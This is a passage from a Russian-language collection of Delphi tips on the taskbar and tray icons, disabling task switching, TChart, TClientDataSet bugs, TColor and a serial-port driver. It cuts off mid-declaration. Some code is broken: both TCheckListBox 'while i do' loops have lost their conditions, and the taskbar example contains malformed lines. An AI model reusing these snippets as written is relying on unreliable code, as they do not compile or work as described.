procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowWindow(Application.Handle, SW_HIDE);
  Form1.Hide;
  Form2.Show;
  Form3.Show;
end;

В модуле второго окна:

uses Unit3;
{$R *.DFM}
procedure TForm2.FormCreate(Sender: TObject);
begin
  SetWindowLong(Handle, GWL_EXSTYLE,
  GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_APPWINDOW);
end;
procedure TForm2.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if Form3.Visible = false then
    Application.Terminate;
end;

В модуле третьего окна:

uses Unit2;
{$R *.DFM}
procedure TForm3.FormCreate(Sender: TObject);
begin
  SetWindowLong(Handle, GWL_EXSTYLE,
  GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_APPWINDOW);
end;
procedure TForm3.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  if Form2.Visible = false then
    Application.Terminate;
end;

Определение координат расположения TaskBar.

Чем мы Винду сильнее любим, тем дольше грузится она.

Пример позволяет узнать координаты расположения панели задач.

uses .., ShellApi;
var
  AppBarData  : TAppBarData;
  bAlwaysOnTop: Boolean; {Поверх окон}
  bAutoHide   : boolean; {Авт. убирать с экрана}
  ClRect      : TRect;   {Клиентские области}
  Rect        : TRect;
  Edge        : UInt;    {Местоположение TaskBar}
procedure DetectTaskBar;
begin
  AppBarData.hWnd   := FindWindow('Shell_TrayWnd', nil);
  AppBarData.cbSize := sizeof(AppBarData);
  bAlwaysOnTop      := (SHAppBarMessage(ABM_GETSTATE, AppBardata) and  ABS_ALWAYSONTOP) < >  0;
  bAutoHide         := (SHAppBarMessage(ABM_GETSTATE, AppBardata) and  ABS_AUTOHIDE) < > 0;
  GetClientRect(AppBarData.hWnd, ClRect.rc);
  GetWindowRect(AppBarData.hwnd, rect);
  if (Rect.top >  0) Then
   Edge := ABE_BOTTOM
  else
  if (Rect.Bottom <  Screen.Height) Then
   Edge := ABE_TOP
  else
  if Rect.Right <  Screen.Width Then
   Edge := ABE_LEFT
  else
   Edge := ABE_RIGHT;
end;

Работа с TaskBar.

unit TaskBar;
interface
uses Windows, ShellAPI;
const
  // Дублируем описания из ShellAPI, чтобы не писать его в Uses
  // везде, где мы используем этот модуль
  NIF_TIP = ShellAPI.NIF_TIP;
  NIF_ICON = ShellAPI.NIF_ICON;
function TaskBarAddIcon(
  hWindow: THandle; // окно, создавшее значок
  ID: Cardinal; // идентификатор значка
  ICON: hIcon; // иконка
  CallbackMessage: Cardinal; // сообщение, которое будет посылаться окну
  Tip: PChar // ToolTip
  ): Boolean;
function TaskBarModifyIcon(
  hWindow: THandle;
  ID: Cardinal;
  Flags: Cardinal;
  ICON: hIcon;
  Tip: PChar): Boolean;
function TaskBarDeleteIcon(
  hWindow: THandle;
  ID: Integer): Boolean;
implementation
function TaskBarAddIcon(
  hWindow: THandle;
  ID: Cardinal;
  ICON: hIcon;
  CallbackMessage: Cardinal;
  Tip: PChar): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
    uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
    uCallbackMessage := CallbackMessage;
    hIcon := Icon;
    lstrcpyn(szTip, Tip, SizeOf(szTip));
  end;
  Result := Shell_NotifyIcon(NIM_ADD, @NID);
end;
function TaskBarModifyIcon(
  hWindow: THandle;
  ID: Cardinal;
  Flags: Cardinal;
  ICON: hIcon;
  Tip: PChar): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
    uFlags := Flags;
    hIcon := Icon;
    lstrcpyn(szTip, Tip, SizeOf(szTip));
  end;
  Result := Shell_NotifyIcon(NIM_MODIFY, @NID);
end;
function TaskBarDeleteIcon(
  hWindow: THandle;
  ID: Integer): Boolean;
var
  NID: TNotifyIconData;
begin
  FillChar(NID, SizeOf(TNotifyIconData), 0);
  with NID do
  begin
    cbSize := SizeOf(TNotifyIconData);
    Wnd := hWindow;
    uID := ID;
  end;
  Result := Shell_NotifyIcon(NIM_DELETE, @NID);
end;
end.

Как разрешить или запретить переключение между задачами.

Автор: http://www.sources.ru (только для ALT+TAB и CTRL+ESC)

Это не совсем профессиональный способ, но он работает! Мы просто эмулируем запуск и остановку скринсейвера.

procedure TaskSwitchingStatus(State: Boolean);
var
  OldSysParam: LongInt;
begin
  SystemParametersInfo(SPI_SCREENSAVERRUNNING,
    Word(State), @OldSysParam, 0);
end;

Показать контекстное меню на панели задач.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch


(*
   (Vorbemerkung zu "TNA": damit ist der "Task Notification Area" gemeint.)
   Ein Symbol im TNA zu erzeugen -> kein Problem
   Ein Popupmenu beim Klick auf dieses Symbol anzuzeigen -> kein Problem
   AAABER dieses auch wieder verschwinden zu lassen wenn der Klick irgendwo anders
   erfolgt -> eine Katastrophe ... jedenfalls bis mir die Idee kam ... siehe unten
   die mit "ACHTUNG!!!" gekennzeichnete Zeile
 *)

 unit TNA;
 interface
 uses
   Windows, Messages, SysUtils, Classes, Controls, Forms, ExtCtrls,
   ShellApi, Menus;
 const
   k_WM_TASKMSG = WM_APP + 100;  //die "100" ist ein frei wahlbarer Wert 
type
   TForm1 = class(TForm)
     TPopupMenu1: TPopupMenu;
     procedure FormCreate(Sender: TObject);
     procedure FormClose(Sender: TObject; var Action: TCloseAction);
     procedure FormDblClick(Sender: TObject);
     procedure PopupMenuClick(Sender: TObject);
   private
     { Private-Deklarationen }
     tTNA: TNotifyIconData;
     procedure WMTaskMsg(var Msg: TMessage); message k_WM_TASKMSG;
     procedure AppActive;
     procedure AppDeactivate;
     procedure ShowIcon;
     procedure ChangeIcon;
   public
     { Public-Deklarationen }
   end;
 var
   Form1: TForm1;
 implementation
 {$R *.DFM}
 {$R TNA.RES} //eine Resource mit 2 Icons oder Bitmaps 
procedure TForm1.FormCreate(Sender: TObject);
 begin
   {la?t die Form schon bei Programmstart verschwinden}
   Application.ShowMainForm := False;
   {Symbol im TNA anzeigen}
   Self.ShowIcon;
 end;
 procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
 begin
   {Symbol aus dem TNA entfernen}
   Shell_NotifyIcon(NIM_DELETE, @tTNA);
 end;
 procedure TForm1.FormDblClick(Sender: TObject);
 begin
   {lassen wir doch die Form wieder verschwinden ...}
   Self.AppDeactivate;
   {... und andern das Symbol in dem TNA}
   Self.ChangeIcon;
 end;
 procedure TForm1.PopupMenuClick(Sender: TObject);
 begin
   case TPopupMenu(Sender).Tag of
     {hier steht dann die Auswahl was getan werden soll}
     {wenn auf das erschienene Popupmenu geklickt wurde}
   end;
 end;
 procedure TForm1.WMTaskMsg(var Msg: TMessage);
 var
   rCursor: TPoint;
 begin
   {wenn die Nachricht aus unserem definierten Bereich kommt dann ...}
   if Msg.wParam = tTNA.uID then
   begin
     {... tu was wenn das Ereignis ein ...}
     case Msg.lParam of
       {... rechter Mausklick ist oder ...}
       WM_RBUTTONDOWN:
         begin
           {aktuelle Cursoposition holen}
           GetCursorPos(rCursor);
           {ACHTUNG!!!!! Der folgende Aufruf ist an dieser Stelle ganz wichtig!!!!}
 {Erst durch diese API-Funktion wird das Popupmenu dazu bewegt zu verschwinden 
wenn ein Klick au?erhalb des Popupmenus erfolgt}
           SetForegroundWindow(Self.Handle);
           {Also, nicht vergessen!!!}
           {Das Popupmenu erscheint an der gewunschten Position in dem TNA}
           TPopupMenu1.Popup(rCursor.x, rCursor.y);
         end;
       {... ein linker doppelter Mausklick ist}
       WM_LBUTTONDBLCLK: Self.AppActive;
     end;
   end;
 end;
 procedure TForm1.AppActive;
 var
   hOwner: THandle;
 begin
   {Form einblenden}
   SendMessage(Self.Handle, WM_SYSCOMMAND, SC_RESTORE, 0);
   ShowWindow(Self.Handle, SW_SHOW);
   SetForegroundWindow(Self.Handle);
   {Symbol in der Taskbar einblenden}
   hOwner := GetWindow(Self.Handle, GW_OWNER);
   SendMessage(hOwner, WM_SYSCOMMAND, SC_RESTORE, 0);
   ShowWindow(hOwner, SW_SHOW);
 end;
 procedure TForm1.AppDeactivate;
 begin
   {Form ausblenden}
   ShowWindow(Self.Handle, SW_HIDE);
   {Symbol in der Taskbar ausblenden}
   ShowWindow(GetWindow(Self.Handle, GW_OWNER), SW_HIDE);
 end;
 procedure TForm1.ShowIcon;
 begin
   tTNA.cbSize := SizeOf(tTNA);
   tTNA.Wnd    := Self.Handle;
   tTNA.uID    := 24112000;                     //frei wahlbarer Wert zur Identifizierung 
  tTNA.uCallbackMessage := k_WM_TASKMSG;
   tTNA.hIcon  := LoadIcon(hInstance, 'xxx');
   //xxx ist die Bezeichnung eines Icons aus "TNA.res" 
  StrCopy(tTNA.szTip, 'Hallo');             //Hint 
  tTNA.uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
   {CB Symbol in dem TNA einrichten CE}
   Shell_NotifyIcon(NIM_ADD, @tTNA);
 end;
 procedure TForm1.ChangeIcon;
 begin
   tTNA.cbSize := SizeOf(tTNA);
   tTNA.hIcon  := LoadIcon(hInstance, 'yyy');
   //yyy ist die Bezeichnung eines weiteren Icons aus "TNA.res" 
  StrCopy(tTNA.szTip, 'Welt');              //Hint 
  {CB Symbol im TNA andern CE}
   Shell_NotifyIcon(NIM_MODIFY, @tTNA);
 end;
 end.

Пересборка индексов с помощью TBatchMove.

Два компа по сети связались, один - другому: - Мой хозяин вчера на одном сайте таких девочек разглядывал - ну C:\ твою формать! - Потише ты, без ненормативной лексики, у меня тут дети в "Тетрис" играют.

... вы все делаете правильно. BatchMove не может пересобирать индексы. Тем не менее, следующая процедура все же поможет вам сделать это (создать индексы заново). Задайте ей необходимые параметры (.DBF. Name, исходная и целевая таблица, Source и Target) и попробуйте ее в деле!

procedure TForm1.FormCreate(Sender: TObject);
var
  x: integer  ;
begin
  BatchMove1.Execute ;
  Source.Open ;
  Target.Exclusive := True ;
  Target.Open ;
  Source.IndexDefs.Update ;
  for x := 0 to Source.IndexDefs.Count - 1 do
    Target.AddIndex(Source.IndexDefs[x].Name,
  Source.IndexDefs[x].Fields,
  Source.IndexDefs[x].Options) ;
  Source.Close ;
  Target.Close ;
end;

Работа с TChart.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

uses Series;
 // Creates two series in the chart and assigns random values 
// erzeugt zwei Serien im Chart und fullt sie mit zufalligen Werten 
procedure TForm1.Button1Click(Sender: TObject);
 var
    i, j, kum: Integer;
   s, t: TLineSeries;
 begin
   with Chart1 do
   begin
     // Title of the Chart 
    Title.Text.Clear;
     Title.Text.Add('Ein Titel fur den Chart');
     // Create first Series 
    s := TLineSeries.Create(nil);
     // Clear it 
    s.Clear;
     // set the title 
    s.Title := 'Chart Linie 1';
     // determine the chart, this series belongs to 
    s.ParentChart := Chart1;
     // the x-axis shall use date 
    s.XValues.DateTime := True;
     // create the second Series 
    t := TLineSeries.Create(nil);
     t.Clear;
     t.Title       := s.Title + ' kum';
     t.ParentChart := Chart1;
     t.XValues.DateTime := True;
     // this series uses the right axis 
    t.VertAxis := aRightAxis;
     // now add the random values 
    for i := 0 to 364 do
     begin
       j := Random(100);
       s.AddXY(Date + i, j);
       kum := kum + j;
       t.AddXY(Date + i, kum);
     end;
   end;
 end;

Как поместить TCheckBox в TRichEdit.

Статьи по Delphi (017)…

Для использования следующего примера, необходимо создать новую форму, перетащить на неё TRichEdit (RichEdit1) и создать checkbox (acb) в событии FormCreate().

procedure TForm1.FormCreate(Sender: TObject);
var
  Acb: TCheckBox;
begin
  RichEdit1.Left := 20;
  Acb := TCheckBox.Create(RichEdit1);
  Acb.Left := 30;
  Acb.Top := 30;
  Acb.Caption := 'Delphi World is COOL !!!';
  Acb.Parent := RichEdit1;
end;

TCheckListBox - использование методов LoadFromFile и SaveToFile.

Автор: Bjarne Winkler

Пример показывает как можно сохранять в файл содержимое TCheckListBox и соответственно восстанавливать из файла ранее сохранённые состояния Чекбоксов.

На самом деле всё просто. Метод SaveToFile просто напросто сохраняет в обычном текстовом виде значения чекбоксов. Но предварительно нам нужно преобразовать состояния чекбоксов в текстовый вид, соответственно “1” или “0”.

Далее задача метода LoadFromFile считать эти значения и преобразовать сначало в числовой вид, а затем в логический (true или false).

procedure TFrameRuleEngine.SaveRules;
var
  i: Integer;
begin
  i := 0;
  while i do
  begin
    if CheckListBoxRule.Items[i] = '' then
    begin
      // Если ячейка пустая, то удаляем её
      CheckListBoxRule.Items.Delete(i);
    end
    else
    begin
      // Добавляем 1 или 0 соответственно checked или not checked
      CheckListBoxRule.Items[i] :=
      IntToStr(Integer(CheckListBoxRule.Checked[i])) +
      CheckListBoxRule.Items[i];
      Inc(i);
    end;
  end;
  // Сохраняем весь список
  CheckListBoxRule.Items.SaveToFile(ExtractFilePath(Application.ExeName) +
  'Rule.Txt');
end;
procedure TFrameRuleEngine.LoadRules;
var
  sChecked: string;
  i: Integer;
begin
  if FileExists(ExtractFilePath(Application.ExeName) + 'Rule.Txt') then
  begin
    // Считываем файл
    CheckListBoxRule.Items.LoadFromFile(ExtractFilePath(Application.ExeName) +
    'Rule.Txt');
    i := 0;
    while i do
    begin
      if CheckListBoxRule.Items[i] = '' then
      begin
        // Удаляем пустую ячейку
        CheckListBoxRule.Items.Delete(i);
      end
      else
      begin
        // получаем состояние чекбокса
        sChecked := Copy(CheckListBoxRule.Items[i], 1, 1);
        CheckListBoxRule.Items[i] := Copy(CheckListBoxRule.Items[i], 2,
        Length(CheckListBoxRule.Items[i]));
        // Обновляем свойство Checked
        CheckListBoxRule.Checked[i] := Boolean(StrToInt(sChecked));
        Inc(i);
      end;
    end;
  end;
end;

Информация о TClass.

TObject - "корневой" объект.

TClass определен как Class of TObject. Переменная Class НЕ является указателем на экземпляр объекта. Это указатель на *ТИП* объекта Class.

Var
  Obj1: TWinControl;
  Class1: Class of TWinControl;
Class1 := TWinControl - правильное присваивание. Мы не распределяем память, у нас нет экземпляра TWinControl, мы не можем вызвать Class1.OnClick. Class1 - это *тип* TWinControl с тем же контекстом использования, что и "TWinControl". Поскольку мы можем использовать TWinControl.Create, то также мы можем использовать и Class1.Create, при этом создавая новый экземпляр TWinControl. С тех пор как TEdit - наследник TWinControl, Class1 := TEdit правильное присваивание и Class1.Create создает экземпляр TEdit. Если у меня имеется переменная Obj2: TWinControl, и даже если я присвоил экземпляр TListbox Obj2, я не могу ссылаться на Obj2.Items, поскольку Obj2 определен как TWinControl, а TWinControl не имеет свойства Items. Те же характеристики верны и для Class1. Class1 определен как Class of TWinControl, поэтому они имеют общий конструктор, определенный в классе TWinControl. Это не пугает меня при создании дополнительных типов:
TMyObj1 = class(TEdit)
  constructor CreateMagic; virtual;
end;
TMyObj2 = class(TMyObj1)
  constructor CreateMagic; override;
end;
TMyClass = class of TMyObj;
var
  MyObj1: TMyObj1;
  MyObj2: TMyObj2;
function MakeAnother(AClass: TMyClass): TMyObj1;
begin
  Result := AClass.CreateMagic;
end;
begin
  MyObj2 := TMyObj2.CreateMagic;
  MyObj1 := MakeAnother(MyObj2.ClassType);
end.

TClientDataSet. Утечка памяти при загрузке XML.

Автор: Sergei Romancha

Например, если делаем:

ClientDataSet.LoadFromFile('c:\tmp\1.xml');
ClientDataSet.Close;
то видим, что память выделилась, но не освободилась. Если даже делать ClientDataSet.Create и ClientDataSet.Free то все равно будут утечки.

Пробовал также перед закрытием:

ClientDataSet.EmptyDataSet;
ClientDataSet.CancelUpdates;
ClientDataSet.LogChanges := False;
ClientDataSet.MergeChangeLog;
ClientDataSet.FieldDefs.Clear;
ClientDataSet.IndexDefs.Clear;
ClientDataSet.Params.Clear;
ClientDataSet.Aggregates.Clear;
ClientDataSet.IndexName := '';
ClientDataSet.IndexFieldNames := '';
Все равно не помогает. Решения не нашел. Тестировал под D5 под W2000, W98. Также брал midas.dll от D6. Проблема осталась. КОММЕНТАРИЙ Действительно, проверка показывает, что при загрузке данных из XML-файла последующее закрытие ClientDataSet не освобождает часть выделенной памяти. Трассировка VCL не выявила ничего подозрительного в открытом коде TClientDataSet. Но часть операций производится COM-объектами, которыми пользуется ClientDataSet и которые находятся в midas.dll. Установлено, что утечка памяти отсутствует, если данные в ClientDataSet поступают через провайдера, либо при загрузке из файла формата CDS (в котором ClientDataSet сохраняет данные по-умолчанию).

Следовательно, мы имеем проблему при локальном использовании ClientDataSet с файлом XML. Вероятно, в midas.dll при разборке файла XML распределяется память под временные структуры данных, которая потом не освобождается.

TClientDataSet. Некорректное формирование XML.

Автор: Акуличев Дмитрий Delphi5 build 5.62, midas.dll v5.0.5.63 При использовании SaveToFile('file.xml', dfXML) формируется некорректный текст XML, если набор данных содержит изменения, т.е. при непустом Delta. Пример:

Набор данных состоит их двух полей.

IntField: integer
StrField: string(20)

После ввода.

  1    aaa
  2    bbb
  3    ccc
  4    ddd

И сохранения текст XML имеет вид:

<?xml version="1.0" standalone="yes"?>  <DATAPACKET Version="2.0">
<METADATA><FIELDS><FIELD attrname="IntField" fieldtype="i4"/>
<FIELD attrname="StrField" fieldtype="string" WIDTH="20"/></FIELDS>
<PARAMS CHANGE_LOG="1 0 4 2 0 4 3 0 4 4 0 4"/></PARAMS></METADATA>
<ROWDATA><ROW RowState="4" IntField="1" StrField="aaa"/>
<ROW RowState="4" IntField="2" StrField="bbb"/>
<ROW RowState="4" IntField="3" StrField="ccc"/>
<ROW RowState="4" IntField="4" StrField="ddd"/>
</ROWDATA></DATAPACKET>
Ошибочным явлается наличие тэга </PARAMS>, т.к. открывающий тэг <PARAMS.../> уже содержит ограничитель "/" После вызова MergeChangeLog, CancelUpdates или ApplyUpdates сохраняется корректный XML. КОММЕНТАРИЙ Проблема заключена именно в midas.dll. При проверке в Delphi 5 update pack 1 (build 6.18) баг не проявляется - XML формируется корректно. Если же сменить midas.dll на старую - версии 5.0.5.63 - получаем вышеописанный результат. Скачать тест StoneTest_22.zip (2.3K)

Мораль сей басни такова: ставьте свежие сервиспаки.

Класс для реализации списка Variant-ов на основе TCollection.

Автор: Елена Филиппова Класс реализует коллекцию элементов типа Variant, которые могут интерпретироваться как Integer, String или Currency. Динамический список этих элементов может быть именованным, где каждому элементу присваивается имя. Это условие по умолчанию не обрабатывается, так что с этим классом можно работать просто как с динамическим списком величин типа Variant. Довольно удобно. Можно искать в списке по значению (IndexOF), по имени (GetValueFromName), удалять из списка. Функция JoinList возвращает строку из символьного представления всех элементов списка разделенных заданным сепаратором.

Скачать файл ListUtils.zip (2K).

unit ListUtils;
interface
uses Classes, SysUtils;
type
  TListsItem = class(TCollectionItem)
  private
    FValue: Variant;
    FName: string;
  protected
    function GetAsInteger: LongInt;
    procedure SetAsInteger(AValue: LongInt);
    function GetAsString: string;
    procedure SetAsString(AValue: string);
    function GetAsCurrency: Currency;
    procedure SetAsCurrency(AValue: Currency);
  public
    procedure AssignTo(Dest: TPersistent); override;
    property Value: Variant read FValue write FValue;
    property Name: string read FName write FName;
    property AsInteger: LongInt read GetAsInteger write SetAsInteger;
    property AsString: string read GetAsString write SetAsString;
    property AsCurrency: Currency read GetAsCurrency write SetAsCurrency;
  end;
  TCollectionListItemClass = class(TListsItem);
  TLists = class(TCollection)
  private
    function GetListItem(Index: Integer): TListsItem;
  public
    constructor Create(ItemClass: TCollectionItemClass);
    function AddItem(Value: Variant; AName: string = ''): TListsItem;
    procedure FillFromArray(ArValue: array of Variant);
    procedure FillFromNamedArray(ArValue, ArName: array of Variant);
    function IndexOf(Value: Variant): Integer;
    function JoinList(Separator: string = ','): string;
    function GetFromName(AName: string): TListsItem;
    function GetValueFromName(AName: string; DefaultValue: Variant): Variant;
    procedure DeleteFromValue(Value: Variant; All: Boolean = FALSE);
    procedure DeleteFromName(AName: string);
    property AnItems[Index: Integer]: TListsItem read GetListItem; default;
  end;
implementation
//----------------------------------------------------------------------------------------
//                       TLists
//----------------------------------------------------------------------------------------
constructor TLists.Create(ItemClass: TCollectionItemClass);
begin
  inherited Create(ItemClass);
end;
//----------------------------------------------------------------------------------------
function TLists.GetListItem(Index: Integer): TListsItem;
begin
  Result := TListsItem(Items[Index]);
end;
//----------------------------------------------------------------------------------------
function TLists.AddItem(Value: Variant; AName: string = ''): TListsItem;
begin
  Result := TListsItem(Self.Add);
  Result.FValue := Value;
  Result.FName := AName;
end;
//----------------------------------------------------------------------------------------
function TLists.IndexOf(Value: Variant): Integer;
begin
  Result := 0;
  while (Result < Count) and (AnItems[Result].Value <> Value) do
    Inc(Result);
  if Result = Count then
    Result := -1;
end;
//----------------------------------------------------------------------------------------
function TLists.JoinList(Separator: string = ','): string;
var
  i: Integer;
begin
  Result := '';
  if Count > 0 then
  begin
    for i := 0 to Count - 1 do
      Result := Result + AnItems[i].AsString + Separator;
    Result := Copy(Result, 1, Length(Result) - 1);
  end;
end;
//----------------------------------------------------------------------------------------
procedure TLists.DeleteFromValue(Value: Variant; All: Boolean = FALSE);
var
  i: Integer;
begin
  i := IndexOf(Value);
  if i >= 0 then
    Delete(i);
end;
//----------------------------------------------------------------------------------------
procedure TLists.DeleteFromName(AName: string);
var
  i: Integer;
  AItem: TListsItem;
begin
  AItem := GetFromName(AName);
  if AItem <> nil then
    Delete(AItem.Index);
end;
//----------------------------------------------------------------------------------------
function TLists.GetFromName(AName: string): TListsItem;
var
  i: Integer;
begin
  Result := nil;
  for i := 0 to Count - 1 do
    if CompareText(AnItems[i].FName, AName) = 0 then
    begin
      Result := AnItems[i];
      Exit;
    end;
end;
//----------------------------------------------------------------------------------------
function TLists.GetValueFromName(AName: string; DefaultValue: Variant): Variant;
begin
  Result := DefaultValue;
  if GetFromName(AName) <> nil then
    Result := GetFromName(AName).Value;
end;
//----------------------------------------------------------------------------------------
procedure TLists.FillFromArray(ArValue: array of Variant);
var
  i: Integer;
begin
  Clear;
  for i := Low(ArValue) to High(ArValue) do
    AddItem(ArValue[i]);
end;
//----------------------------------------------------------------------------------------
procedure TLists.FillFromNamedArray(ArValue, ArName: array of Variant);
var
  i, No: Integer;
begin
  FillFromArray(ArValue);
  No := High(ArName);
  if No > High(ArValue) then
    No := High(ArValue);
  for i := Low(ArName) to No do
    AnItems[i].FName := ArName[i];
end;
//----------------------------------------------------------------------------------------
//****************************************************************************************
//----------------------------------------------------------------------------------------
//                       TListItem
//----------------------------------------------------------------------------------------
procedure TListsItem.AssignTo(Dest: TPersistent);
begin
  if Dest is TListsItem then
  begin
    TListsItem(Dest).FValue := FValue;
    TListsItem(Dest).FName := FName;
  end
  else
    inherited;
end;
//----------------------------------------------------------------------------------------
function TListsItem.GetAsInteger: LongInt;
begin
  if TVarData(FValue).VType <> varNull then
    Result := TVarData(FValue).vInteger
  else
    Result := 0;
end;
//----------------------------------------------------------------------------------------
procedure TListsItem.SetAsInteger(AValue: LongInt);
begin
  FValue := AValue;
end;
//----------------------------------------------------------------------------------------
function TListsItem.GetAsString: string;
begin
  Result := VarToStr(FValue);
end;
//----------------------------------------------------------------------------------------
procedure TListsItem.SetAsString(AValue: string);
begin
  FValue := AValue;
end;
//----------------------------------------------------------------------------------------
function TListsItem.GetAsCurrency: Currency;
begin
  if TVarData(FValue).VType <> varNull then
    Result := TVarData(FValue).vCurrency
  else
    Result := 0;
end;
//----------------------------------------------------------------------------------------
procedure TListsItem.SetAsCurrency(AValue: Currency);
begin
  FValue := AValue;
end;
//----------------------------------------------------------------------------------------
end.

TColor.

Что такое TColor

Для хранения цвета существует свой собственный тип, который называется TColor. Этот тип содержит информацию, как о самом цвете, так и том, каким образом его заменить, если, например, цветовая палитра системы не поддерживает этот цвет (скажем, установлено всего 256 цветов, а цвет, заданный в переменной, вылезает далеко за пределы этих 256 цветов).

Тип TColor состоит из четырех байт. Первый байт - указатель на замену цвета (о нем поговорим позже). Второй байт - яркость красного цвета от 0 до 255 (от 00 до FF). Третий байт - яркость зеленого цвета от 0 до 255 (от 00 до FF). И, наконец, четвертый байт - яркость синего цвета, также, от 0 до 255 (от 00 до FF).

А как Вы уже знаете, из этих трех цветов: красного, зеленого и синего, регулируя их яркость, можно составить практически любой цвет.

Поговорим теперь о первом байте - указателе на замену цвета. Итак, этот байт может принимать три различных значения - ноль ($00), единицу ($01) или двойку ($02). Что это значит:

Ноль ($00) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из системной палитры. Единица ($01) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из палитры, которая установлена сейчас. Двойка ($02) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из палитры, которую поддерживает текущее устройство вывода (в нашем случае - монитор).

Видимо, всегда лучше устанавливать значение первого байта равным нулю ($00), по крайней мере, так происходит при получении типа TColor при помощи функции RGB.

И, напоследок, несколько примеров:

$00FFFFFF - белый цвет;
$00000000 - черный цвет;
$00800000 - темно-красный цвет. 

TComportDriver - драйвер последовательного порта.

Автор: Marco Cocco
Идет программист по улице. Встречает девушек. - Девушки, хотите пива? - Нет! - Вина? - Нет! - Водки? - Нет! Программист думает про себя: "Странно, стандартные драйвера не подошли ".

Скачать исходник - 10кб.

// -------------------------------------------------------
// | TComportDriver - A Basic Driver for the serial port |
// -------------------------------------------------------
// | © 1997 by Marco Cocco |
// | © 1998 enhanced by Angerer Bernhard |
// | © 2001 enhanced by Christophe Geers |
// -------------------------------------------------------
//I removed the TTimer and inserted a thread (TTimerThread) to simulate
//the function formerly done by the TTimer.TimerEvent.
//Further more the Readstring procedure has been adjusted. As soon as
//some input on the input buffer from the serial port has been detected
//the TTimerThread is supsended until all the data from the input buffer is read
//using the ReadString procedure......well go ahead and check it out for
//yourself.
//Tested with Delphi 6 Profesionnal / Enterprise on Windows 2000.
{$A+,B-,C+,D-,E-,F-,G+,H+,I+,J+,K-, L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $51000000}
{$APPTYPE GUI}
unit ComportDriverThread;
interface
uses
  //Include "ExtCtrl" for the TTimer component.
  Windows, Messages, SysUtils, Classes, Forms, ExtCtrls;
type
TComPortNumber = (pnCOM1,pnCOM2,pnCOM3,pnCOM4);
TComPortBaudRate = (br110,br300,br600,br1200,br2400,br4800,br9600,
  br14400,br19200,br38400,br56000,br57600,br115200);
TComPortDataBits = (db5BITS,db6BITS,db7BITS,db8BITS);
TComPortStopBits = (sb1BITS,sb1HALFBITS,sb2BITS);
TComPortParity = (ptNONE,ptODD,ptEVEN,ptMARK,ptSPACE);
TComportHwHandshaking = (hhNONE,hhRTSCTS);
TComPortSwHandshaking = (shNONE,shXONXOFF);
TTimerThread = class(TThread)
  private
    { Private declarations }
    FOnTimer : TThreadMethod;
    FEnabled: Boolean;
  protected
    { Protected declarations }
    procedure Execute; override;
    procedure SupRes;
  public
    { Public declarations }
  published
    { Published declarations }
    property Enabled: Boolean read FEnabled write FEnabled;
end;
TComportDriverThread = class(TComponent)
  private
    { Private declarations }
    FTimer : TTimerThread;
    FOnReceiveData : TNotifyEvent;
    FReceiving : Boolean;
  protected
    { Protected declarations }
    FComPortActive : Boolean;
    FComportHandle : THandle;
    FComportNumber : TComPortNumber;
    FComportBaudRate : TComPortBaudRate;
    FComportDataBits : TComPortDataBits;
    FComportStopBits : TComPortStopBits;
    FComportParity : TComPortParity;
    FComportHwHandshaking : TComportHwHandshaking;
    FComportSwHandshaking : TComPortSwHandshaking;
    FComportInputBufferSize : Word;
    FComportOutputBufferSize : Word;
    FComportPollingDelay : Word;
    FTimeOut : Integer;
    FTempInputBuffer : Pointer;
    procedure SetComPortActive(Value: Boolean);
    procedure SetComPortNumber(Value: TComPortNumber);
    procedure SetComPortBaudRate(Value: TComPortBaudRate);
    procedure SetComPortDataBits(Value: TComPortDataBits);
    procedure SetComPortStopBits(Value: TComPortStopBits);
    procedure SetComPortParity(Value: TComPortParity);
    procedure SetComPortHwHandshaking(Value: TComportHwHandshaking);
    procedure SetComPortSwHandshaking(Value: TComPortSwHandshaking);
    procedure SetComPortInputBufferSize(Value: Word);
    procedure SetComPortOutputBufferSize(Value: Word);
    procedure SetComPortPollingDelay(Value: Word);
    procedure ApplyComPortSettings;
    procedure TimerEvent; virtual;
    procedure doDataReceived; virtual;
  public
    { Public declarations }
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
    function Connect: Boolean;
    function Disconnect: Boolean;
    function Connected: Boolean;
    function Disconnected: Boolean;
    function SendData(DataPtr: Pointer; DataSize: Integer): Boolean;
    function SendString(Input: string): Boolean;
    function ReadString(var Str: string): Integer;
  published
    { Published declarations }
    property Active: Boolean read FComPortActive write SetComPortActive default False;
    property ComPort: TComPortNumber read FComportNumber write SetComportNumber
    default pnCOM1;
    property ComPortSpeed: TComPortBaudRate read FComportBaudRate write
    SetComportBaudRate default br9600;
    property ComPortDataBits: TComPortDataBits read FComportDataBits write
    SetComportDataBits default db8BITS;
    property ComPortStopBits: TComPortStopBits read FComportStopBits write
    SetComportStopBits default sb1BITS;
    property ComPortParity: TComPortParity read FComportParity write
    SetComportParity default ptNONE;
    property ComPortHwHandshaking: TComportHwHandshaking read FComportHwHandshaking
    write SetComportHwHandshaking default
    hhNONE;
    property ComPortSwHandshaking: TComPortSwHandshaking read FComportSwHandshaking
    write SetComportSwHandshaking default
    shNONE;
    property ComPortInputBufferSize: Word read FComportInputBufferSize
    write SetComportInputBufferSize default
    2048;
    property ComPortOutputBufferSize: Word read FComportOutputBufferSize
    write SetComportOutputBufferSize default
    2048;
    property ComPortPollingDelay: Word read FComportPollingDelay write
    SetComportPollingDelay default 100;
